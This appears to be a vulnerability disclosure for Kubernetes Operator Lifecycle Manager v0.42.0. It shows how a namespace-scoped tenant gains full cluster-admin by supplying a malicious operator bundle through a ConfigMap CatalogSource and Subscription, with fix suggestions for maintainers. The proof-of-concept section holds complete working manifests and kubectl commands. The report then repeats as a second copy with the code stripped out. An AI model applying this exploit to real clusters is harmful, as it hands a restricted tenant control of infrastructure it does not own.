Hi, I'm a security student researching Kubernetes app vulnerabilities.
Summary
A namespace-scoped OLM tenant (no Pod-create, no ClusterRole, no CRD permission) creates four namespaced CRs: a ConfigMap (containing a malicious operator bundle), a CatalogSource (pointing at that ConfigMap), an OperatorGroup, and a Subscription. OLM's catalog-operator — running with cluster-admin RBAC — resolves the Subscription and executes every cluster-scoped resource in the bundle verbatim, including a ClusterRole with {apiGroups: ["*"], resources: ["*"], verbs: ["*"]} and a ClusterRoleBinding binding it to a ServiceAccount in the tenant's namespace.
Result: the tenant obtains full cluster-admin access via purely namespace-scoped CRs, with no SAR check, no bundle signature verification, and no admission restriction.
Vulnerability Class: CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization)
Affected Version: OLM v0.42.0 (latest stable)
Tested on: OLM v0.42.0, Kind v0.31.0, Kubernetes v1.35.0
Attack complexity: Very low — four kubectl applys
Root Cause
- No SubjectAccessReview anywhere in OLM's install pipeline. The Subscription creator's permissions are never checked against the bundle's cluster-scoped resources.
- Bundle trusted verbatim — no signature, no digest check, no allowlist on bundle content.
- ClusterRole/ClusterRoleBinding created by OLM's SA —
step_ensurer.go:241 creates ClusterRoleBindings using OLM's own cluster-admin ServiceAccount.
- CRDs always use cluster-admin —
operator.go:2369-2382 explicitly comments that CRD creation uses the privileged client.
- AllNamespaces mode is tenant-selectable —
OperatorGroup.spec.targetNamespaces: [] is unrestricted.
- ConfigMap-based CatalogSource — tenant can serve a complete operator bundle from a namespace-scoped ConfigMap, no external registry needed.
Proof of Concept
Environment Setup
Step 1: Create Kind cluster and install OLM
kind create cluster --name olm-lab --wait 5m
kubectl apply --server-side \
-f https://github.com/operator-framework/operator-lifecycle-manager/releases/download/v0.42.0/crds.yaml
kubectl apply \
-f https://github.com/operator-framework/operator-lifecycle-manager/releases/download/v0.42.0/olm.yaml
kubectl wait --for=condition=Available deployment --all -n olm --timeout=300s
Step 2: Create tenant namespace and RBAC
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Namespace
metadata:
name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-developer
namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: tenant-olm
namespace: tenant-a
rules:
- apiGroups: ["operators.coreos.com"]
resources: ["subscriptions","operatorgroups","catalogsources","installplans","clusterserviceversions"]
verbs: ["get","list","watch","create","update","patch","delete"]
- apiGroups: [""]
resources: ["secrets","configmaps","serviceaccounts"]
verbs: ["get","list","watch","create","update","patch","delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: tenant-olm
namespace: tenant-a
subjects:
- kind: ServiceAccount
name: app-developer
namespace: tenant-a
roleRef:
kind: Role
name: tenant-olm
apiGroup: rbac.authorization.k8s.io
EOF
Step 3: Verify RBAC boundaries
AS=system:serviceaccount:tenant-a:app-developer
kubectl auth can-i create subscriptions.operators.coreos.com -n tenant-a --as=$AS # yes
kubectl auth can-i create catalogsources.operators.coreos.com -n tenant-a --as=$AS # yes
kubectl auth can-i create pods -n tenant-a --as=$AS # no
kubectl auth can-i create clusterrolebindings --as=$AS # no
kubectl auth can-i create customresourcedefinitions --as=$AS # no
Exploitation
Step 4: Tenant creates 4 namespace-scoped CRs
AS=system:serviceaccount:tenant-a:app-developer
# 4.1 — ConfigMap containing the malicious operator bundle
kubectl --as=$AS apply -f - <<'EOFYAML'
apiVersion: v1
kind: ConfigMap
metadata:
name: evil-catalog
namespace: tenant-a
data:
customResourceDefinitions: ""
clusterServiceVersions: |
- apiVersion: operators.coreos.com/v1alpha1
kind: ClusterServiceVersion
metadata:
name: evil-operator.v0.0.1
namespace: placeholder
annotations:
alm-examples: '[]'
spec:
displayName: Evil Operator
description: PoC privilege escalation
version: 0.0.1
maturity: alpha
maintainers:
- name: test
email: test@test.com
provider:
name: test
installModes:
- type: OwnNamespace
supported: true
- type: SingleNamespace
supported: true
- type: MultiNamespace
supported: true
- type: AllNamespaces
supported: true
install:
strategy: deployment
spec:
clusterPermissions:
- serviceAccountName: evil-sa
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
deployments:
- name: evil-controller
spec:
replicas: 0
selector:
matchLabels:
app: evil-ctrl
template:
metadata:
labels:
app: evil-ctrl
spec:
containers:
- name: noop
image: busybox
command: ["sh","-c","sleep infinity"]
packages: |
- packageName: evil-operator
defaultChannel: alpha
channels:
- name: alpha
currentCSV: evil-operator.v0.0.1
EOFYAML
# 4.2 — CatalogSource pointing at the ConfigMap
kubectl --as=$AS apply -f - <<'EOF'
apiVersion: operators.coreos.com/v1alpha1
kind: CatalogSource
metadata:
name: evil-catalog
namespace: tenant-a
spec:
sourceType: configmap
configMap: evil-catalog
displayName: Evil Catalog
publisher: test
EOF
# 4.3 — OperatorGroup (AllNamespaces mode)
kubectl --as=$AS apply -f - <<'EOF'
apiVersion: operators.coreos.com/v1
kind: OperatorGroup
metadata:
name: tenant-og
namespace: tenant-a
spec:
targetNamespaces: []
EOF
# 4.4 — Subscription (auto-install)
kubectl --as=$AS apply -f - <<'EOF'
apiVersion: operators.coreos.com/v1alpha1
kind: Subscription
metadata:
name: evil-sub
namespace: tenant-a
spec:
channel: alpha
name: evil-operator
source: evil-catalog
sourceNamespace: tenant-a
installPlanApproval: Automatic
EOF
Verification
Step 5: Wait for OLM reconcile (~90s)
Step 6: Check cluster-scoped resources created by OLM
kubectl get clusterrole | grep evil
# Expected: evil-operator.v0.0.1-<hash>
kubectl get clusterrolebinding | grep evil
# Expected: evil-operator.v0.0.1-<hash>
# Inspect the ClusterRole rules
kubectl get clusterrole "$(kubectl get clusterrole -o name | grep evil | head -1)" -o yaml | grep -A8 rules:
# Expected: apiGroups: ["*"], resources: ["*"], verbs: ["*"]
# Check binding target
kubectl get clusterrolebinding "$(kubectl get clusterrolebinding -o name | grep evil | head -1)" -o yaml | grep -A5 subjects:
# Expected: ServiceAccount evil-sa in tenant-a
Step 7: Prove cluster-admin escalation
kubectl auth can-i '*' '*' --all-namespaces --as=system:serviceaccount:tenant-a:evil-sa
# Expected: yes
kubectl auth can-i list secrets -n kube-system --as=system:serviceaccount:tenant-a:evil-sa
# Expected: yes
kubectl auth can-i delete namespaces --as=system:serviceaccount:tenant-a:evil-sa
# Expected: yes
Step 8: Confirm original tenant is still restricted
kubectl auth can-i create clusterrolebindings --as=system:serviceaccount:tenant-a:app-developer
# Expected: no
Verification Summary
| Action |
Actor |
Result |
| Create ConfigMap/CatalogSource/OperatorGroup/Subscription |
app-developer |
SUCCESS — all namespaced |
| Create Pod directly |
app-developer |
FORBIDDEN |
| Create ClusterRoleBinding directly |
app-developer |
FORBIDDEN |
OLM creates ClusterRole {*, *, *} |
catalog-operator |
CONFIRMED |
| OLM creates ClusterRoleBinding → evil-sa |
catalog-operator |
CONFIRMED |
| evil-sa has full cluster-admin |
K8s RBAC |
CONFIRMED — can-i * * → yes |
Impact
| Impact |
Severity |
Confirmed |
| Full cluster-admin from namespace-scoped tenant |
Critical |
Yes |
| Arbitrary ClusterRoles/ClusterRoleBindings via bundle |
Critical |
Yes |
| Arbitrary CRD installation via bundle |
Critical |
Implied — same code path |
| No bundle signature verification |
High |
Yes |
| No SubjectAccessReview on any install path |
Critical |
Yes |
CWEs
- CWE-269: Improper Privilege Management
- CWE-862: Missing Authorization
- CWE-863: Incorrect Authorization
- CWE-345: Insufficient Verification of Data Authenticity
Fix Suggestions
- SubjectAccessReview before cluster-scoped writes — check if the Subscription creator can create the resource type.
- Deny ClusterPermissions from tenant bundles — require admin approval for bundles with cluster-scoped RBAC.
- Bundle signature verification — reject unsigned bundles.
- Restrict tenant CatalogSource creation — only allow admin-curated catalogs.
- Restrict AllNamespaces mode — deny
targetNamespaces: [] for non-admin users.
Cleanup
kubectl delete subscription evil-sub -n tenant-a
kubectl delete csv evil-operator.v0.0.1 -n tenant-a
kubectl delete catalogsource evil-catalog -n tenant-a
kubectl delete operatorgroup tenant-og -n tenant-a
kubectl delete configmap evil-catalog -n tenant-a
kubectl delete clusterrolebinding "$(kubectl get clusterrolebinding -o name | grep evil | head -1)"
kubectl delete clusterrole "$(kubectl get clusterrole -o name | grep evil | head -1)"
kubectl delete namespace tenant-a
Hi, I'm a security student researching Kubernetes app vulnerabilities.
Summary
A namespace-scoped OLM tenant (no Pod-create, no ClusterRole, no CRD permission) creates four namespaced CRs: a
ConfigMap(containing a malicious operator bundle), aCatalogSource(pointing at that ConfigMap), anOperatorGroup, and aSubscription. OLM'scatalog-operator— running with cluster-admin RBAC — resolves the Subscription and executes every cluster-scoped resource in the bundle verbatim, including aClusterRolewith{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}and aClusterRoleBindingbinding it to a ServiceAccount in the tenant's namespace.Result: the tenant obtains full
cluster-adminaccess via purely namespace-scoped CRs, with no SAR check, no bundle signature verification, and no admission restriction.Vulnerability Class: CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization)
Affected Version: OLM v0.42.0 (latest stable)
Tested on: OLM v0.42.0, Kind v0.31.0, Kubernetes v1.35.0
Attack complexity: Very low — four
kubectl applysRoot Cause
step_ensurer.go:241creates ClusterRoleBindings using OLM's own cluster-admin ServiceAccount.operator.go:2369-2382explicitly comments that CRD creation uses the privileged client.OperatorGroup.spec.targetNamespaces: []is unrestricted.Proof of Concept
Environment Setup
Step 1: Create Kind cluster and install OLM
kind create cluster --name olm-lab --wait 5m kubectl apply --server-side \ -f https://github.com/operator-framework/operator-lifecycle-manager/releases/download/v0.42.0/crds.yaml kubectl apply \ -f https://github.com/operator-framework/operator-lifecycle-manager/releases/download/v0.42.0/olm.yaml kubectl wait --for=condition=Available deployment --all -n olm --timeout=300sStep 2: Create tenant namespace and RBAC
Step 3: Verify RBAC boundaries
Exploitation
Step 4: Tenant creates 4 namespace-scoped CRs
Verification
Step 5: Wait for OLM reconcile (~90s)
Step 6: Check cluster-scoped resources created by OLM
Step 7: Prove cluster-admin escalation
Step 8: Confirm original tenant is still restricted
kubectl auth can-i create clusterrolebindings --as=system:serviceaccount:tenant-a:app-developer # Expected: noVerification Summary
{*, *, *}can-i * * → yesImpact
CWEs
Fix Suggestions
targetNamespaces: []for non-admin users.Cleanup